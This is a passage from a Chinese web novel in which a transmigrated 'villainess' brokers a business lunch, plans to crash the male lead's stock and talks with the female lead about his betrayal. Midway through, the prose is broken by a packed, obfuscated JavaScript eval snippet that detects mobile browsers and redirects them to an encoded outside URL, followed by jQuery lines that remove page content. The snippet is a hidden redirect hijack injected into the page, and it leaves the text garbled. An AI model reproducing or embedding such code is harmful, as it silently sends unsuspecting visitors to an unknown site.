柳承轩对这种挑衅毫无感觉，而局长仍旧没放下他皱起的眉头。
装什么装，陆摇光心知肚明他只是习惯性耷拉着脸，以保持那所谓的上位者气质，实际上跟小孩撒泼没什么区别。
无非是当皇帝当惯了，非要人跪着亲吻他的臭脚才愿意做出一副“我心胸真宽广”的样子。她生平最讨厌这种不懂适可而止的人。
她原本想要说点什么，但在她张嘴的前一秒，劳菲森将她的肩膀往自己怀里再扣了一点。陆摇光抬头，撞见他俏皮又隐含着请求地眨眨眼。
“别那么小气嘛，星星女士，只要你一点点的施舍。”
这种动作本来不该适合一个半截入土的老东西，不过轻佻而风流的艺术气质使得劳菲森做起这个动作并不违和。
瞧，一个和陆摇光一样知道怎么利用自己美貌的男人。
午宴才是今日最重要的环节。
陆摇光亲自带着贵宾们去了包间，倒了葡萄酒，又依次介绍了桌上众人。
果然如此，当她完成了介绍向诸位微微躬身，而后转身退出房间亲手关上大门后陆摇光想，女配真正的工作应该是掮客。
所谓的艺术品公司都只不过是最表面的掩饰，被剧本抓去编写了一出看上去完美的童话。
人与人的关系是一张大网，而女配正是结网的蜘蛛。
她有李家的血统，能接触政治，又有商业公司作为掩护，适合与各类人员交道，天然就是完美的中间人选项。
两个不相干又没有任何联系的人要怎么认识，当然是找一个他们都认识，可以信任的第三方作为桥梁。
不怪李太太和她的蠢儿子干不过女配。
李家可以换一个继承人，却不能没有她带来的人际关系。
陆摇光的心率加快了，她都能听见自己的心脏就在耳边扑腾。
她在一个小时前还苦恼怎么把男主的股份掏出来，现在剧本就瞌睡送枕头了。有掮客的身份，还愁换不到这点股份吗？
比起无聊的男女食色，还是阴谋、权力更吸引她。
陆摇光给刘盈发了消息，让她顺着邀请函往下查。她有预感，事情一定好玩起来了。
酒精、热切、谈论、不可口的饭菜，陆摇光实在是太怀念这种场合了，她如鱼得水，一边穿针引线把场上的气氛维持在一个程度里，一边贴着柳承轩的椅子把手坐下。
她半边身体贴在男主手臂旁，温热的人体让疲惫的肌肉稍微得到了一点休息，也让在座诸位用那有点起哄的眼神盯着他们两人。
陆摇光太适应这个了，以至于她更多的脑子都在想别的，例如今晚的晚宴，柳承轩没有出来给刘盈解围，那么他似乎只能邀请自己。
另外，刘盈那边查的怎么样了。
她没有给任何提示和帮助，这家伙能行吗？
好歹人家比你多读了一倍的书，智商肯定是比你高的，她脑子里另外一个声音说。
那好吧，操心完女主，陆摇光又开始操心系统。
不知道是不是她的错觉，最近系统好像不是很活跃，她有时候要喊好几次才能得到回应。
这么看起来，系统似乎有别的事在忙，但是它有什么可忙的？
事出反常必有妖，陆摇光把自己脑子里那根警惕的弦上紧些。疼痛带来的肾上腺素飙升已经过去，她开始感到疲倦，可能还带有一点低热。
生病并没有让她停止思索，反而使得陆摇光变成了一座塔台，各种思绪按照指挥往不同的方向飞去。
桌上的人们总算越过了互相试探的阶段开始更进一步的讨论。
自从虚拟社交开始占据人们大量时间，依托于网络的交易逐渐增长成为产业中的重要组成部分。商人也罢，政客也罢，目光不禁都投向了这片蓝海。
柳承轩正在推广自己的一个虚拟现实概念，他将其称之为“混沌”。
盘古开天辟地前世界是一个鸡蛋，混沌意味着一切皆有可能，一切都在等待英雄的到来。
他们讨论着技术、经济，一旦成功可能会引发的社会变革的同时，每个人都在心里明确地知道，这只是嘴上说说。
最重要的当然是这样一份概念能够攫取多少金钱，能够让他们身价后多出几个零来。
陆摇光对这些没兴趣，她更在乎的是，那么从哪一天起局长成了柳承轩阵营？
至少目前他们桌上聊的内容还是以李议员为主。
她当然需要男主去干掉李议员，但陆摇光可不会允许男主借着这种机会做大。螳螂捕蝉，她要做那只在最后的黄雀。
作为男主，系统会保证柳承轩公司的股价一直上涨，陆摇光必须要抓住一个时机，把它瞬间打下去，然后在他反应过来之前吞掉足够的差价。
在陆摇光昏昏欲睡前，她的手机催命一般响起来，惊得本就有点陷入昏迷的她差点从柳承轩的扶手上跌下去。
这黑发的年轻男人伸手揽住了她的腰，用一只手将体重不清的女人轻轻捞回身边。
“你没事吗？”他凑到陆摇光耳边问，呼出的气流有点痒。
陆摇光侧开一点脸，用沉默表示自己的状态。
或许是没有异常不需要回答，还是已经没有精力回答？
因为聊得不错，柳承轩难免对她升起一点喜爱，对她这狡猾的小把戏表示了喜爱。
陆摇光推开他，考虑到她在发烧，那点力气更像是小猫踩奶，柳承轩很顺从地让开了。
她拿着还在叫唤的手机，露出一个冷静的微笑，“演出的时间要到了，有人赏光吗？”
众人自然而然将这点动静当做陆摇光提前订好的闹钟，三三两两站起身，散了席。
陆摇光借口相送，半路拐弯找了个僻静的地方接起电话，“你说。”
那一头是刘盈，她快速地讲了一遍自己查到的事情。
那几个记者的邀请函是正版，她还从他们的邮箱里查到了公司发出的电子邀请函。于是她倒过去追了发送邀请函的同事，确认了这份邀请是她们发出的，既不是电脑中了病毒，也不是有人捏造了一个和她们公司很像的账号。
“她说……”刘盈的声音有点犹豫，她不傻，完全明白这意味着什么，“是柳承轩拜托她帮了个忙，说自己有个朋友，缺点关系。”
那个员工甚至在刘盈问到她头上时还很不耐烦，“对啊，那可是咱们老板的未来老公，你还真把自己当成什么东西了，来过问人家俩夫妻的事。”
陆摇光竟然没有觉得愤怒。
一方面她已经猜到这个结果，另一方面她也想搞死柳承轩，所以对方搞她，她很能理解。
“辛苦你。”陆摇光刚准备挂断，听见对面大喊一声。
“等等！等等，我，要把他们的设备查一遍吗？”
这虽然是个问题，但显然刘盈想要问的不是这个。
“可以。”实际上陆摇光才不在乎他们录到了什么。她更希望有正义记者从天而降，把这群贪官污吏通通抓起来砍头。
把自己连坐都无所谓。
反正她只想看血流成河。
“啊……好的。”
陆摇光在电话这头长叹一口气，她就讨厌人有话不说，非要表现出来“我有心事你快问啊”的状态，逼的人必须看在社交礼仪的份上问一句，“你是不是有话想说？”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111904|190154||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“啊……”
“你再啊一句我马上就挂。”
“他，我想问他这么做，是因为我，还是因为你？”刘盈已经养成了老板说话立即执行的反应，听完命令当即把话吐露出来，“他为什么……这么做？”
陆摇光张嘴，看见熟悉的红色警告在视野内缓慢浮现。她又慢慢把嘴闭上，等待对方哀怨婉转地念叨了一通什么“他这么做不对”、“手段也太看不起你”、“我们应该是一边的才对”。
第一分钟陆摇光半眯上眼睛，第三分钟她半垂着脑袋，第十分钟她一个激灵醒过来。
系统吱儿哇乱叫，提醒她刘盈已经等了很久。
陆摇光搓搓脸，“你说完了？”
“嗯。”
“你会在乎今天吃的是哪头猪吗？”陆摇光问她。
“什么？”刘盈一时没反应过来。
“我听说你家里也有钱过，那还不懂这个道理吗。你问他是针对你还是我，跟今天要吃猪肉还是牛肉有何分别。总之是要打——”陆摇光猛然噤声，系统红色的警告流淌着从她眼前落下。
她只能换一个方向，“为什么很重要吗？对我有利才重要。”
那头沉默了，陆摇光只能听见她呼吸的声音。
我真的耐心要耗尽了，要是她还——
“所以，他不爱我。”刘盈的声音在颤抖。
系统发出一声欢呼，在陆摇光脑子里耀武扬威。
剧本钦定了主角们要互相折磨，爱了恨了，起起伏伏，一直波折到大结局，陆摇光或许改动了一些细节，但大方向当然还是它们说的那样！
剧本万岁！
陆摇光怒不可遏。
要是刘盈在她面前，陆摇光一定当即给她一拳揍到地里，扣都扣出不来的那种。
合着我说这么半天你脑子里只有他爱不爱你这种小事？
我怎么没见过柳承轩痛哭流涕跟我大吼大叫讲你不爱他呢？
能不能清醒点！
“他也不爱你。”
啊对对对，高兴了，开心了，发现你的情敌早就在最根本的问题上输的一塌糊涂了。
呸！说得谁稀罕他那点上不了台面的龌龊心思似的。
“他爱他自己远胜于其他。”
——嗯？
主仆二人顿时停止互相攻击，竖起耳朵听刘盈接下来的话。
“他们都说他爱我，他们总说他爱我，我的朋友，我的家人，我和他们说我不爱他，他也不可能隔了这么久还爱我。我们大学的时候连朋友都不是，他甚至都不了解我！他到底爱的是哪个我？”
“可他们都说他爱我，一定爱我，所以我也一定爱他。毕竟我有什么有什么好挑剔的，他年轻、多金、痴情，怎么看都是最好的选择。”
“他们都说，我配不上柳承轩，但没有办法，谁叫他喜欢我呢。”
那话音里的细细颤抖，一开始陆摇光和系统都以为是悲伤，但仔细想想，情绪激动也可能有很多解释。
或许是终于看透一个人的愤怒，又或许是时隔这么久终于得到了支持的感动。
陆摇光一时哑口无言，她原本的生活里追逐她的男孩多了去，年轻漂亮是基本条件，接下来要挑身高体重习惯性格，挑不到也没关系，反正那群男的只要招招手就会饿狼一样汹涌地扑过来。
虽然是有人在网上大骂，说她是个什么货色，配不上这个配不上那个，但一来没有人敢当面跟她这么说话，二来今天谁敢提她家哥哥的名字，明天陆摇光就敢把这个人当狗一样玩弄。
毕竟她的人生信条就是人不犯我我也犯人，谁敢犯我百倍奉还。